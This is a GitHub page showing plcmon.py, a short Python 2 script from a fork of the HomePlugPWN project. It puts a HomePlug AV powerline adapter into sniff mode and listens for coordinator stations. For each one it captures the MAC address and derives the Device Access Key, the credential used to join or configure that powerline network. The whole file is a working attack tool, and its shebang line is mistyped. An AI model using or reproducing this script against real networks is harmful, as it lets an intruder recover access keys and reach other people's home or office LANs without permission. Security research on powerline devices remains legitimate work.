forked from FlUxIuS/HomePlugPWN
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathplcmon.py
30 lines (26 loc) · 1.24 KB
/
plcmon.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/en python2
import sys
import binascii
from layerscapy.HomePlugAV import *
from optparse import OptionParser
from genDAK import *
dictio = {}
def appendindic(pkt):
macad = iter(binascii.hexlify(pkt.load[0xe:0xe+6]))
macad = ':'.join(a+b for a,b in zip(macad, macad))
if macad not in dictio.keys() and macad != "00:00:00:00:00:00":
dictio[macad] = DAKgen(macad).generate()
print "\t Found CCo: %s (DAK: %s)" % (macad, dictio[macad])
if __name__ == "__main__":
usage = "usage: %prog [options] arg"
parser = OptionParser(usage)
parser.add_option("-i", "--iface", dest="iface", default="eth0",
help="select an interface to Enable sniff mode and sniff indicates packets", metavar="INTERFACE")
parser.add_option("-s", "--source", dest="sourcemac", default="00:c4:ff:ee:00:00",
help="source MAC address to use", metavar="SOURCEMAC")
(options, args) = parser.parse_args()
print "[+] Enabling sniff mode"
pkt = Ether(src=options.sourcemac)/HomePlugAV()/SnifferRequest(SnifferControl=1) # We enable Sniff mode here
sendp(pkt, iface=options.iface)
print "[+] Listening for CCo station..."
sniff(prn=appendindic, lfilter=lambda pkt:pkt.haslayer(HomePlugAV)) # capture the signal